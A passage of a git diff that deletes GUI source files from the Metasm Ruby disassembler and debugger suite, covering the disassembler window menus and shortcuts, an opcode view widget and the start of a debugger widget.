prompt_parse_c_file - openfile('open C header') { |f| - @dasm.parse_c_file(f) rescue messagebox("#{$!}\n#{$!.backtrace}") - } - end - - # run arbitrary ruby - def prompt_run_ruby - inputbox('ruby code to eval()') { |c| - messagebox eval(c).inspect[0, 512], 'eval' - session_append "#eval #{c.inspect}" - } - end - - # run ruby plugin - def prompt_run_ruby_plugin - openfile('ruby plugin') { |f| @dasm.load_plugin(f) } - end - - # search for a regexp in #dasm.decoded.to_s - def prompt_search_decoded - inputbox('text to search in instrs (regex)', :text => curview.hl_word) { |pat| - re = /#{pat}/i - found = [] - @dasm.decoded.each { |k, v| - found << k if v.to_s =~ re - } - list = [['addr', 'str']] + found.map { |a| [Expression[a], @dasm.decoded[a].to_s] } - list_bghilight("search result for /#{pat}/i", list) { |i| focus_addr i[0] } - } - end - - # calls the @dasm.rebase method to change the load base address of the current program - def rebase(addr=nil) - if not addr - inputbox('rebase address') { |a| rebase(Integer(a)) } - else - na = curaddr + dasm.rebase(addr) - gui_update - focus_addr na - end - end - - # prompts for a new name for what is under the cursor (or the current address) - def rename(what=nil) - if not what and localvar = pointed_localvar - addr = curaddr - str = localvar.str.dup - inputbox("new name for #{localvar}", :text => localvar.to_s) { |v| - if v =~ /^[a-z_][a-z0-9_]*$/i - localvar.str.replace v - session_append "pointed_localvar(dasm.decoded[#{addr.inspect}], #{str.inspect}).str.replace(#{v.inspect})" - gui_update - else messagebox("invalid local var name #{v.inspect}") - end - } - return - end - - what ||= pointed_addr - if @dasm.prog_binding[what] or old = @dasm.get_label_at(what) - old ||= what - inputbox("new name for #{old}", :text => old) { |v| - if v == '' - @dasm.del_label_at(what) - session_append "dasm.del_label_at(#{what.inspect})" - else - @dasm.rename_label(old, v) - session_append "dasm.rename_label(#{old.inspect}, #{v.inspect})" - end - gui_update - } - else - inputbox("label name for #{Expression[what]}", :text => Expression[what]) { |v| - next if v == '' - @dasm.set_label_at(what, v) - @dasm.split_block(what) - session_append "dasm.set_label_at(#{what.inspect}, #{v.inspect}) ; dasm.split_block(#{what.inspect})" - gui_update - } - end - end - - # pause/play disassembler - # returns true if playing - # this empties @dasm.addrs_todo, the dasm may still continue to work if this msg is - # handled during an instr decoding/backtrace (the backtrace may generate new addrs_todo) - # addresses in addrs_todo pointing to existing decoded instructions are left to create a prettier graph - def playpause_dasm - @dasm_pause ||= [] - if @dasm_pause.empty? and @dasm.addrs_todo.empty? - true - elsif @dasm_pause.empty? - @dasm_pause = @dasm.addrs_todo.dup - @dasm.addrs_todo.replace @dasm_pause.find_all { |a, *b| @dasm.decoded[@dasm.normalize(a)] } - @dasm_pause -= @dasm.addrs_todo - puts "dasm paused (#{@dasm_pause.length})" - else - @dasm.addrs_todo.concat @dasm_pause - @dasm_pause.clear - puts "dasm restarted (#{@dasm.addrs_todo.length})" - start_disassemble_bg - true - end - end - - # toggles <41h> vs <'A'> display - def toggle_expr_char(o) - @dasm.toggle_expr_char(o) - session_append "dasm.toggle_expr_char(dasm.decoded[#{curaddr.inspect}])" - gui_update - end - - # toggle <10h> vs <16> display - def toggle_expr_dec(o) - @dasm.toggle_expr_dec(o) - session_append "dasm.toggle_expr_dec(dasm.decoded[#{curaddr.inspect}])" - gui_update - end - - # toggle <401000h> vs <'sub_fancyname'> in the current instr display - def toggle_expr_offset(o) - @dasm.toggle_expr_offset(o) - session_append "dasm.toggle_expr_offset(dasm.decoded[#{curaddr.inspect}])" - gui_update - end - - # toggle constant/localvar names with raw value - def toggle_expr_str(o) - @dasm.toggle_expr_str(o) - session_append "dasm.toggle_expr_str(dasm.decoded[#{curaddr.inspect}])" - gui_update - end - - def name_local_vars(a) - @dasm.name_local_vars(a) - session_append "dasm.name_local_vars(#{a.inspect})" - gui_update - end - - def toggle_view(idx) - default = (idx == :graph ? :listing : :graph) - # switch to idx ; if already in idx, use default - focus_addr(curaddr, ((curview_index == idx) ? default : idx)) - end - - # undefines the whole function body - def undefine_function(addr, incl_subfuncs = false) - list = [] - @dasm.each_function_block(addr, incl_subfuncs) { |b| list << b } - list.each { |b| @dasm.undefine_from(b) } - session_append "undefine_function(#{addr.inspect}, #{incl_subfuncs.inspect})" - gui_update - end - - def keypress_ctrl(key) - return true if @keyboard_callback_ctrl[key] and @keyboard_callback_ctrl[key][key] - case key - when :enter; focus_addr_redo - when ?o; w = toplevel ; w.promptopen if w.respond_to? :promptopen - when ?s; w = toplevel ; w.promptsave if w.respond_to? :promptsave - when ?r; prompt_run_ruby - when ?C; disassemble_fast_deep(curaddr) - when ?f; prompt_search_decoded - else return @parent_widget ? @parent_widget.keypress_ctrl(key) : false - end - true - end - - def keypress(key) - return true if @keyboard_callback[key] and @keyboard_callback[key][key] - case key - when :enter; focus_addr curview.hl_word - when :esc; focus_addr_back - when ?/; inputbox('search word') { |w| - next unless curview.respond_to? :hl_word - next if w == '' - curview.hl_word = w - curview.hl_word_re = /(.*)(#{w})/ - curview.redraw - } - when ?b; prompt_backtrace(curaddr) - when ?c; disassemble(curaddr) - when ?C; disassemble_fast(curaddr) - when ?d; curobj.kind_of?(DecodedInstruction) ? toggle_expr_dec(curobj) : toggle_data(curaddr) - when ?f; list_functions - when ?g; prompt_goto - when ?k; toggle_expr_str(curobj) - when ?K; name_local_vars(curaddr) - when ?l; list_labels - when ?m; prompt_constant(curobj) - when ?n; rename - when ?o; toggle_expr_offset(curobj) - when ?p; playpause_dasm - when ?r; toggle_expr_char(curobj) - when ?t; prompt_struct_ptr - when ?v; $VERBOSE = ! $VERBOSE ; puts "#{'not ' if not $VERBOSE}verbose" # toggle verbose flag - when ?x; list_xrefs - when ?;; add_comment(curaddr) - - when ?\ ; toggle_view(:listing) - when :tab; toggle_view(:decompile) - when ?j; curview.keypress(:down) - #when ?k; curview.keypress(:up) - else - p key if $DEBUG - return @parent_widget ? @parent_widget.keypress(key) : false - end - true - end - - attr_accessor :session_file - def save_session(filename) - @session_file = filename - end - - def replay_session(filename) - i = 0 - File.readlines(filename).each { |l| - instance_eval l - i += 1 - } - focus_addr(@session_focus_addr) if @session_focus_addr - puts "Session replay finished" - rescue ::Exception - puts "Session replay: error on line #{i}: #{$!.class} #{$!}" - end - - # append one line to the session file - # converts addresses to hex, deletes consecutive set_focus lines - def session_append(str) - return if not session_file - - # convert decimal addrs to hex - str = str.sub(/(\(|\[|= )(\d\d\d\d\d\d+)/) { $1 + ('0x%x' % $2.to_i) } - - @session_lastsz_setfocus ||= nil # prevent warning - if str =~ /^@session_focus_addr = / and @session_lastsz_setfocus - # overwrite previous set_focus - File.truncate(session_file, @session_lastsz_setfocus) if File.size(session_file) == @session_lastsz - is_setfocus = true - end - - File.open(session_file, 'a') { |fd| fd.puts str } - - @session_lastsz = File.size(session_file) - @session_lastsz_setfocus = @session_lastsz if not is_setfocus - - rescue - @session_file = nil - puts "Failed to save session, disabling (#{$!.class} #{$!})" - end - - # creates a new dasm window with the same disassembler object, focus it on addr#win - def clone_window(*focus) - return if not popup = DasmWindow.new - popup.display(@dasm, @entrypoints) - w = popup.dasm_widget - w.bg_color_callback = @bg_color_callback if bg_color_callback - w.keyboard_callback = @keyboard_callback - w.keyboard_callback_ctrl = @keyboard_callback_ctrl - w.clones = @clones.concat w.clones - w.focus_addr(*focus) - popup - end - - def dragdropfile(f) - case f - when /\.(c|h|cpp)$/; @dasm.parse_c_file(f) - when /\.map$/; @dasm.load_map(f) ; gui_update - when /\.rb$/; @dasm.load_plugin(f) - else messagebox("unsupported file extension #{f}") - end - end - - def extend_contextmenu(tg, menu, addr=nil) - if @parent_widget.respond_to?(:extend_contextmenu) - @parent_widget.extend_contextmenu(tg, menu, addr) - end - end - - def inspect - "<DisasmWidget @%x @dasm=#{dasm.inspect}>" % object_id - end -end - -# this widget is loaded in an empty DasmWindow to handle shortcuts (open file, etc) -class NoDasmWidget < DrawableWidget - def initialize_widget(window) - @window = window - end - - def paint - end - - def keypress(key) - case key - when ?v; $VERBOSE = !$VERBOSE - when ?d; $DEBUG = !$DEBUG - end - end - - def keypress_ctrl(key) - case key - when ?o; @window.promptopen - when ?r; @window.promptruby - end - end - - def dragdropfile(f) - case f - when /\.(c|h|cpp)$/; messagebox('load a binary first') - else @window.loadfile(f) # TODO prompt to start debugger instead of dasm - end - end -end - -class DasmWindow < Window - attr_accessor :dasm_widget, :menu - def initialize_window(title = 'metasm disassembler', dasm=nil, *ep) - self.title = title - @dasm_widget = nil - if dasm - ep = ep.first if ep.length == 1 and ep.first.kind_of? Array - display(dasm, ep) - else - self.widget = NoDasmWidget.new(self) - end - end - - def widget=(w) - super(w || NoDasmWidget.new(self)) - end - - def destroy_window - @dasm_widget.terminate if @dasm_widget - super() - end - - # sets up a DisasmWidget as main widget of the window, replaces the current if it exists - # returns the widget - def display(dasm, ep=[]) - @dasm_widget.terminate if @dasm_widget - ep = [ep] if not ep.kind_of? Array - @dasm_widget = DisasmWidget.new(dasm, ep) - self.widget = @dasm_widget - @dasm_widget.focus_addr(ep.first) if ep.first - @dasm_widget - end - - # returns the specified widget from the @dasm_widget (idx in :hex, :listing, :graph etc) - def widget(idx=nil) - idx && @dasm_widget ? @dasm_widget.view(idx) : @dasm_widget - end - - def loadfile(path, cpu='Ia32', exefmt=nil) - if exefmt - exefmt = Metasm.const_get(exefmt) if exefmt.kind_of? String - if exefmt.kind_of?(::Class) and exefmt.name.split('::').last == 'Shellcode' - exefmt = Shellcode.withcpu(cpu) - end - else - exefmt = AutoExe.orshellcode { cpu = Metasm.const_get(cpu) if cpu.kind_of? String ; cpu = cpu.new if cpu.kind_of?(::Class) ; cpu } - end - - exe = exefmt.decode_file(path) { |type, str| - # Disassembler save file will use this callback with unhandled sections / invalid binary file path - case type - when 'binarypath' - ret = nil - openfile("please locate #{str}", :blocking => true) { |f| ret = f } - return if not ret - ret - end - } - (@dasm_widget ? DasmWindow.new : self).display(exe.disassembler) - self.title = "#{File.basename(path)} - metasm disassembler" - exe - end - - def promptopen(caption='chose target binary', &b) - openfile(caption) { |exename| loadfile(exename) ; b.call(self) if b } - end - - def promptdebug(caption='chose target', &b) - l = nil - i = inputbox(caption) { |name| - i = nil ; l.destroy if l and not l.destroyed? - if pr = OS.current.find_process(name) - target = pr.debugger - elsif name =~ /^(udp|tcp|.*\d+.*):/i # don't match c:\kikoo, but allow 127.0.0.1 / [1:2::3] - target = GdbRemoteDebugger.new(name) - elsif pr = OS.current.create_process(name) - target = pr.debugger - else - messagebox('no such target') - next - end - DbgWindow.new(target) - destroy if not @dasm_widget - b.call(self) if b - } - - # build process list in bg (exe name resolution takes a few seconds) - list = [['pid', 'name']] - list_pr = OS.current.list_processes - Gui.idle_add { - if pr = list_pr.shift - list << [pr.pid, pr.path] if pr.path - true - elsif i - me = ::Process.pid.to_s - l = listwindow('running processes', list, - :noshow => true, - :color_callback => lambda { |le| [:grey, :palegrey] if le[0] == me } - ) { |e| i.text = e[0] } - l.x += l.width - l.show - false - end - } if not list_pr.empty? - end - - # reuse last @savefile to save dasm, prompt for file if undefined - def promptsave - return if not @dasm_widget - if @savefile ||= nil - @dasm_widget.dasm.save_file @savefile - return - end - openfile('chose save file') { |file| - @savefile = file - @dasm_widget.dasm.save_file(file) - } - end - - # same as promptsave, but always prompt - def promptsaveas - @savefile = nil - promptsave - end - - def promptruby - if @dasm_widget - @dasm_widget.prompt_run_ruby - else - inputbox('code to eval') { |c| messagebox eval(c).inspect[0, 512], 'eval' } - end - end - - def build_menu - # TODO dynamic checkboxes (check $VERBOSE when opening the options menu to (un)set the mark) - filemenu = new_menu - - # a fake unreferenced accel group, so that the shortcut keys appear in the menu, but the widget keypress is responsible - # of handling them (otherwise this would take precedence and :hex couldn't get 'c' etc) - # but ^o still works (must work even without DasmWidget loaded) - - addsubmenu(filemenu, 'OPEN', '^o') { promptopen } - addsubmenu(filemenu, '_Debug') { promptdebug } - addsubmenu(filemenu, 'SAVE', '^s') { promptsave } - addsubmenu(filemenu, 'Save _as...') { promptsaveas } - addsubmenu(filemenu, 'CLOSE') { - if @dasm_widget - @dasm_widget.terminate - @dasm_widget = nil - self.widget = nil - end - } - addsubmenu(filemenu) - - importmenu = new_menu - addsubmenu(importmenu, 'Load _map') { - openfile('chose map file') { |file| - @dasm_widget.dasm.load_map(File.read(file)) if @dasm_widget - @dasm_widget.gui_update if @dasm_widget - } if @dasm_widget - } - addsubmenu(importmenu, 'Load _C') { - openfile('chose C file') { |file| - @dasm_widget.dasm.parse_c(File.read(file)) if @dasm_widget - } if @dasm_widget - } - addsubmenu(filemenu, '_Import', importmenu) - - exportmenu = new_menu - addsubmenu(exportmenu, 'Save _map') { - savefile('chose map file') { |file| - File.open(file, 'w') { |fd| - fd.puts @dasm_widget.dasm.save_map - } if @dasm_widget - } if @dasm_widget - } - addsubmenu(exportmenu, 'Save _asm') { - savefile('chose asm file') { |file| - File.open(file, 'w') { |fd| - fd.puts @dasm_widget.dasm - } if @dasm_widget - } if @dasm_widget - } - addsubmenu(exportmenu, 'Save _C') { - savefile('chose C file') { |file| - File.open(file, 'w') { |fd| - fd.puts @dasm_widget.dasm.c_parser - } if @dasm_widget - } if @dasm_widget - } - addsubmenu(filemenu, '_Export', exportmenu) - addsubmenu(filemenu) - addsubmenu(filemenu, 'QUIT') { destroy } # post_quit_message ? - - addsubmenu(@menu, filemenu, '_File') - - actions = new_menu - dasm = new_menu - addsubmenu(dasm, '_Disassemble from here', 'c') { @dasm_widget.disassemble(@dasm_widget.curview.current_address) } - addsubmenu(dasm, 'Disassemble _fast from here', 'C') { @dasm_widget.disassemble_fast(@dasm_widget.curview.current_address) } - addsubmenu(dasm, 'Disassemble fast & dee_p from here', '^C') { @dasm_widget.disassemble_fast_deep(@dasm_widget.curview.current_address) } - addsubmenu(actions, dasm, '_Disassemble') - navigate = new_menu - addsubmenu(navigate, 'Follow', '<enter>') { @dasm_widget.focus_addr @dasm_widget.curview.hl_word } # XXX - addsubmenu(navigate, 'Jmp back', '<esc>') { @dasm_widget.focus_addr_back } - addsubmenu(navigate, 'Undo jmp back', '^<enter>') { @dasm_widget.focus_addr_redo } - addsubmenu(navigate, 'Goto', 'g') { @dasm_widget.prompt_goto } - addsubmenu(actions, navigate, 'Navigate') - addsubmenu(actions, '_Backtrace', 'b') { @dasm_widget.prompt_backtrace } - addsubmenu(actions, 'List functions', 'f') { @dasm_widget.list_functions } - addsubmenu(actions, 'List labels', 'l') { @dasm_widget.list_labels } - addsubmenu(actions, 'List xrefs', 'x') { @dasm_widget.list_xrefs } - addsubmenu(actions, 'Find local vars', 'K') { @dasm_widget.name_local_vars(@dasm_widget.curview.current_address) } - addsubmenu(actions, 'Rebase') { @dasm_widget.rebase } - addsubmenu(actions, 'Rename label', 'n') { @dasm_widget.rename } - addsubmenu(actions, 'Decompile', '<tab>') { @dasm_widget.decompile(@dasm_widget.curview.current_address) } - addsubmenu(actions, 'Decompile finali_ze') { @dasm_widget.dasm.decompiler.finalize ; @dasm_widget.gui_update } - addsubmenu(actions, 'Comment', ';') { @dasm_widget.add_comment(@dasm_widget.curview.current_address) } - addsubmenu(actions, '_Undefine') { @dasm_widget.dasm.undefine_from(@dasm_widget.curview.current_address) ; @dasm_widget.gui_update } - addsubmenu(actions, 'Unde_fine function') { @dasm_widget.undefine_function(@dasm_widget.curview.current_address) } - addsubmenu(actions, 'Undefine function & _subfuncs') { @dasm_widget.undefine_function(@dasm_widget.curview.current_address, true) } - addsubmenu(actions, 'Data', 'd') { @dasm_widget.toggle_data(@dasm_widget.curview.current_address) } - addsubmenu(actions, 'Pause dasm', 'p', :check) { |ck| !@dasm_widget.playpause_dasm } - addsubmenu(actions, 'Run ruby snippet', '^r') { promptruby } - addsubmenu(actions, 'Run _ruby plugin') { @dasm_widget.prompt_run_ruby_plugin } - - addsubmenu(@menu, actions, '_Actions') - - options = new_menu - addsubmenu(options, '_Verbose', :check, $VERBOSE, 'v') { |ck| $VERBOSE = ck } - addsubmenu(options, 'Debu_g', :check, $DEBUG) { |ck| $DEBUG = ck } - addsubmenu(options, 'Debug _backtrace', :check) { |ck| @dasm_widget.dasm.debug_backtrace = ck if @dasm_widget } - addsubmenu(options, 'Backtrace li_mit') { - inputbox('max blocks to backtrace', :text => @dasm_widget.dasm.backtrace_maxblocks) { |target| - @dasm_widget.dasm.backtrace_maxblocks = Integer(target) if not target.empty? - } if @dasm_widget - } - addsubmenu(options, 'Backtrace _limit (data)') { - inputbox('max blocks to backtrace data (-1 to never start)', - :text => @dasm_widget.dasm.backtrace_maxblocks_data) { |target| - @dasm_widget.dasm.backtrace_maxblocks_data = Integer(target) if not target.empty? - } if @dasm_widget - } - addsubmenu(options) - addsubmenu(options, 'Forbid decompile _types', :check) { |ck| @dasm_widget.dasm.decompiler.forbid_decompile_types = ck } - addsubmenu(options, 'Forbid decompile _if/while', :check) { |ck| @dasm_widget.dasm.decompiler.forbid_decompile_ifwhile = ck } - addsubmenu(options, 'Forbid decomp _optimize', :check) { |ck| @dasm_widget.dasm.decompiler.forbid_optimize_code = ck } - addsubmenu(options, 'Forbid decomp optim_data', :check) { |ck| @dasm_widget.dasm.decompiler.forbid_optimize_dataflow = ck } - addsubmenu(options, 'Forbid decomp optimlab_els', :check) { |ck| @dasm_widget.dasm.decompiler.forbid_optimize_labels = ck } - addsubmenu(options, 'Decompiler _recurse', :check, true) { |ck| @dasm_widget.dasm.decompiler.recurse = (ck ? 1/0.0 : 1) ; ck } # XXX race if changed while decompiling - # TODO CPU type, size, endian... - # factorize headers - - addsubmenu(@menu, options, '_Options') - - views = new_menu - addsubmenu(views, 'Dis_assembly') { @dasm_widget.focus_addr(@dasm_widget.curaddr, :listing) } - addsubmenu(views, '_Graph') { @dasm_widget.focus_addr(@dasm_widget.curaddr, :graph) } - addsubmenu(views, 'De_compiled') { @dasm_widget.focus_addr(@dasm_widget.curaddr, :decompile) } - addsubmenu(views, 'Raw _opcodes') { @dasm_widget.focus_addr(@dasm_widget.curaddr, :opcodes) } - addsubmenu(views, '_Hex') { @dasm_widget.focus_addr(@dasm_widget.curaddr, :hex) } - addsubmenu(views, 'C S_truct') { @dasm_widget.focus_addr(@dasm_widget.curaddr, :cstruct) } - addsubmenu(views, 'Co_verage') { @dasm_widget.focus_addr(@dasm_widget.curaddr, :coverage) } - addsubmenu(views, '_Sections') { @dasm_widget.list_sections } - addsubmenu(views, 'St_rings') { @dasm_widget.list_strings } - - funcgraph = new_menu - addsubmenu(funcgraph, 'Fu_ll') { @dasm_widget.focus_addr(@dasm_widget.curaddr, :funcgraph, false, :full) } - addsubmenu(funcgraph, '_From there') { @dasm_widget.focus_addr(@dasm_widget.curaddr, :funcgraph, false, :from) } - addsubmenu(funcgraph, '_To there') { @dasm_widget.focus_addr(@dasm_widget.curaddr, :funcgraph, false, :to) } - addsubmenu(funcgraph, '_Butterfly') { @dasm_widget.focus_addr(@dasm_widget.curaddr, :funcgraph, false, :both) } - addsubmenu(views, '_Func graph', funcgraph) - - addsubmenu(@menu, views, '_Views') - end -end -end -end diff --git a/lib/metasm/metasm/gui/dasm_opcodes.rb b/lib/metasm/metasm/gui/dasm_opcodes.rb deleted file mode 100644 index faeab8334d..0000000000 --- a/lib/metasm/metasm/gui/dasm_opcodes.rb +++ /dev/null @@ -1,277 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - -module Metasm -module Gui -class AsmOpcodeWidget < DrawableWidget - attr_accessor :dasm - # nr of raw data bytes to display next to decoded instructions - attr_accessor :raw_data_length - - def initialize_widget(dasm, parent_widget) - @dasm = dasm - @parent_widget = parent_widget - - @raw_data_length = 5 - - @line_text = {} - @line_address = {} - @view_min = @dasm.sections.keys.min rescue nil - @view_max = @dasm.sections.map { |s, e| s + e.length }.max rescue nil - @view_addr = @dasm.prog_binding['entrypoint'] || @view_min || 0 - - @default_color_association = ColorTheme.merge :raw_data => :black - end - - def resized(w, h) - w /= @font_width - h /= @font_height - @caret_x = w-1 if @caret_x >= w - @caret_y = h-1 if @caret_y >= h - end - - def click(x, y) - @caret_x = (x-1).to_i / @font_width - @caret_y = y.to_i / @font_height - update_caret - end - - def rightclick(x, y) - click(x, y) - @parent_widget.clone_window(@hl_word, :opcodes) - end - - def doubleclick(x, y) - click(x, y) - @parent_widget.focus_addr(@hl_word) - end - - def mouse_wheel(dir, x, y) - case dir - when :up; (height/@font_height/4).times { scrollup } - when :down; (height/@font_height/4).times { scrolldown } - end - end - - def di_at(addr) - s = @dasm.get_section_at(addr) and s[0].ptr < s[0].length and update_di_args(@dasm.cpu.decode_instruction(s[0], addr)) - end - - def update_di_args(di) - if di - di.instruction.args.map! { |e| - next e if not e.kind_of? Expression - @dasm.get_label_at(e) || e - } - end - di - end - - def scrollup - return if @view_min and @view_addr < @view_min - # keep current instrs in sync - 16.times { |o| - o += 1 - if di = di_at(@view_addr-o) and di.bin_length == o - @view_addr -= o - @line_address = {} - redraw - return - end - } - @view_addr -= 1 - @line_address = {} - redraw - end - - def scrolldown - return if @view_max and @view_addr >= @view_max - if di = di_at(@view_addr) - @view_addr += di.bin_length - else - @view_addr += 1 - end - @line_address = {} - redraw - end - - def paint - # draw caret line background - draw_rectangle_color(:cursorline_bg, 0, @caret_y*@font_height, width, @font_height) - - want_update_caret = true if @line_address == {} - - # map lineno => address shown - @line_address = Hash.new(-1) - # map lineno => raw text - @line_text = Hash.new('') - - # current address drawing - curaddr = @view_addr - # current line text buffer - fullstr = '' - # current line number - line = 0 - # current window position - x = 1 - y = 0 - - # renders a string at current cursor position with a color - # must not include newline - render = lambda { |str, color| - fullstr << str - draw_string_hl(color, x, y, str) - x += str.length * @font_width - } - - # newline: current line is fully rendered, update @line_address/@line_text etc - nl = lambda { - @line_text[line] = fullstr - @line_address[line] = curaddr - fullstr = '' - line += 1 - x = 1 - y += @font_height - } - - invb = @dasm.prog_binding.invert - - # draw text until screen is full - while y < height - if invb[curaddr] - nl[] - @dasm.label_alias[curaddr].to_a.each { |name| - render["#{name}:", :label] - nl[] - } - end - render["#{Expression[curaddr]} ", :address] - - if di = di_at(curaddr) - if @raw_data_length.to_i > 0 - if s = @dasm.get_section_at(curaddr) - raw = s[0].read(di.bin_length) - raw = raw.unpack('H*').first - else - raw = '' - end - raw = raw.ljust(@raw_data_length*2)[0, @raw_data_length*2] - raw += (di.bin_length > @raw_data_length ? '- ' : ' ') - render[raw, :raw_data] - end - render["#{di.instruction} ", :instruction] - else - if s = @dasm.get_section_at(curaddr) and s[0].ptr < s[0].length - render["db #{Expression[s[0].read(1).unpack('C')]} ", :instruction] - end - end - nl[] - curaddr += di ? di.bin_length : 1 - end - - if focus? - # draw caret - cx = @caret_x*@font_width+1 - cy = @caret_y*@font_height - draw_line_color(:caret, cx, cy, cx, cy+@font_height-1) - end - - update_caret if want_update_caret - end - - def keypress(key) - case key - when :left - if @caret_x >= 1 - @caret_x -= 1 - update_caret - end - when :up - if @caret_y >= 1 - @caret_y -= 1 - else - scrollup - end - update_caret - when :right - if @caret_x <= @line_text.values.map { |s| s.length }.max - @caret_x += 1 - update_caret - end - when :down - if @caret_y < @line_text.length-3 - @caret_y += 1 - else - scrolldown - end - update_caret - when :pgup - (height/@font_height/2).times { scrollup } - when :pgdown - @view_addr = @line_address.fetch(@line_address.length/2, @view_addr+15) - redraw - when :home - @caret_x = 0 - update_caret - when :end - @caret_x = @line_text[@caret_y].length - update_caret - else return false - end - true - end - - def get_cursor_pos - [@view_addr, @caret_x, @caret_y] - end - - def set_cursor_pos(p) - @view_addr, @caret_x, @caret_y = p - redraw - update_caret - end - - # hint that the caret moved - # redraws the caret, change the hilighted word, redraw if needed - def update_caret - if update_hl_word(@line_text[@caret_y], @caret_x) or @caret_y != @oldcaret_y - redraw - elsif @oldcaret_x != @caret_x - invalidate_caret(@oldcaret_x, @oldcaret_y) - invalidate_caret(@caret_x, @caret_y) - end - - @oldcaret_x, @oldcaret_y = @caret_x, @caret_y - end - - # focus on addr - # returns true on success (address exists) - def focus_addr(addr) - return if not addr = @parent_widget.normalize(addr) - if l = @line_address.index(addr) and l < @line_address.keys.max - 4 - @caret_y, @caret_x = @line_address.keys.find_all { |k| @line_address[k] == addr }.max, 0 - elsif @dasm.get_section_at(addr) - @view_addr, @caret_x, @caret_y = addr, 0, 0 - redraw - else - return - end - update_caret - true - end - - # returns the address of the data under the cursor - def current_address - @line_address[@caret_y] - end - - def gui_update - @view_min = @dasm.sections.keys.min rescue nil - @view_max = @dasm.sections.map { |s, e| s + e.length }.max rescue nil - redraw - end -end -end -end diff --git a/lib/metasm/metasm/gui/debug.rb b/lib/metasm/metasm/gui/debug.rb deleted file mode 100644 index e563803dc3..0000000000 --- a/lib/metasm/metasm/gui/debug.rb +++ /dev/null @@ -1,1294 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - -require 'metasm/gui/dasm_main' - -module Metasm -module Gui - -# TODO invalidate dbg.disassembler on selfmodifying code -class DbgWidget < ContainerVBoxWidget - attr_accessor :dbg, :console, :regs, :code, :mem, :win - attr_accessor :watchpoint - attr_accessor :parent_widget, :keyboard_callback, :keyboard_callback_ctrl - def initialize_widget(dbg) - @dbg = dbg - @keyboard_callback = {} - @keyboard_callback_ctrl = {} - @parent_widget = nil - - @regs = DbgRegWidget.new(dbg, self) - @mem = DisasmWidget.new(dbg.disassembler) - @code = DisasmWidget.new(dbg.disassembler) # after mem so that dasm.gui == @code - @console = DbgConsoleWidget.new(dbg, self) - @code.parent_widget = self - @mem.parent_widget = self - @dbg.disassembler.disassemble_fast(@dbg.pc) - - oldcb = @code.bg_color_callback - @code.bg_color_callback = lambda { |a| - if a == @dbg.pc - :red_bg - # TODO breakpoints & stuff - elsif oldcb; oldcb[a] - end - } - # TODO popup menu, set bp, goto here, show arg in memdump.. - - @children = [@code, @mem, @regs] - - add @regs, 'expand' => false # XXX - add @mem - add @code - add @console - - @watchpoint = { @code => @dbg.register_pc } - - pc = @dbg.resolve_expr(@watchpoint[@code]) - graph = :graph if @dbg.disassembler.function_blocks(pc).to_a.length < 100 - @code.focus_addr(pc, graph, true) - @mem.focus_addr(0, :hex, true) - end - - def swapin_tid - @regs.swapin_tid - @dbg.disassembler.disassemble_fast(@dbg.pc) - @children.each { |c| - if wp = @watchpoint[c] - c.focus_addr @dbg.resolve_expr(wp), nil, true - end - } - redraw - end - - def swapin_pid - @mem.dasm = @dbg.disassembler - @code.dasm = @dbg.disassembler - swapin_tid - gui_update - end - - def keypress(key) - return true if @keyboard_callback[key] and @keyboard_callback[key][key] - case key - when :f5; protect { dbg_continue } - when :f10; protect { dbg_stepover } - when :f11; protect { dbg_singlestep } - when :f12; protect { dbg_stepout } - when ?.; @console.grab_focus - else return @parent_widget ? @parent_widget.keypress(key) : false - end - true - end - - def keypress_ctrl(key) - return true if @keyboard_callback_ctrl[key] and @keyboard_callback_ctrl[key][key] - case key - when :f5; protect { @dbg.pass_current_exception ; dbg.continue } - else return @parent_widget ? @parent_widget.keypress_ctrl(key) : false - end - true - end - - def pre_dbg_run - @regs.pre_dbg_run - end - - # TODO check_target always, incl when :stopped - def post_dbg_run - # focus currently stopped threads - if @dbg.state == :running and tt = @dbg.tid_stuff.find { |tid, tstuff| tstuff[:state] != :running } - @dbg.tid = tt[0] - end - - want_redraw = true - return if @idle_checking ||= nil # load only one bg proc - @idle_checking = true - Gui.idle_add { - protect { - @dbg.check_target - if @dbg.state == :running - redraw if want_redraw # redraw once if the target is running (less flicker with singlestep) - want_redraw = false - sleep 0.01 - next true - end - @idle_checking = false - @dbg.dasm_invalidate - @mem.gui_update - @dbg.disassembler.sections.clear if @dbg.state == :dead - @dbg.disassembler.disassemble_fast(@dbg.pc) - @children.each { |c| - if wp = @watchpoint[c] - c.focus_addr @dbg.resolve_expr(wp), nil, true - end - } - redraw - false - } - } - end - - def wrap_run - pre_dbg_run - yield - post_dbg_run - end - - def dbg_continue(*a) wrap_run { @dbg.continue(*a) } end - def dbg_singlestep(*a) wrap_run { @dbg.singlestep(*a) } end - def dbg_stepover(*a) wrap_run { @dbg.stepover(*a) } end - def dbg_stepout(*a) wrap_run { @dbg.stepout(*a) } end - - def redraw - super - @console.redraw - @regs.gui_update - @children.each { |c| c.redraw } - end - - def gui_update - @console.redraw - @children.each { |c| c.gui_update } - end - - def prompt_attach(caption='chose target') - l = nil - i = inputbox(caption) { |name| - i = nil ; l.destroy if l and not l.destroyed? - @dbg.attach(name) - } - - # build process list in bg (exe name resolution takes a few seconds) - list = [['pid', 'name']] - list_pr = OS.current.list_processes - Gui.idle_add { - if pr = list_pr.shift - list << [pr.pid, pr.path] if pr.path - true - elsif i - me = ::Process.pid.to_s - l = listwindow('running processes', list, - :noshow => true, - :color_callback => lambda { |le| [:grey, :palegrey] if le[0] == me } - ) { |e| - i.text = e[0] - i.keypress(:enter) if l.destroyed? - } - l.x += l.width - l.show - false - end - } if not list_pr.empty? - end - - def prompt_createprocess(caption='chose path') - openfile(caption) { |path| - path = '"' + path + '"' if @dbg.shortname == 'windbg' and path =~ /\s/ - inputbox('target args?', :text => path) { |pa| - @dbg.create_process(pa) - } - } - end - - def prompt_datawatch - inputbox('data watch', :text => @watchpoint[@mem].to_s) { |e| - case e - when '', 'nil', 'none', 'delete' - @watchpoint.delete @mem - else - @watchpoint[@mem] = @console.parse_expr(e) - end - } - end - - def dragdropfile(f) - case f - when /\.(c|h|cpp)$/; @dbg.disassembler.parse_c_file(f) - when /\.map$/; @dbg.load_map(f) - when /\.rb$/; @dbg.load_plugin(f) ; @console.add_log "loaded plugin #{File.basename(f, '.rb')}" - else 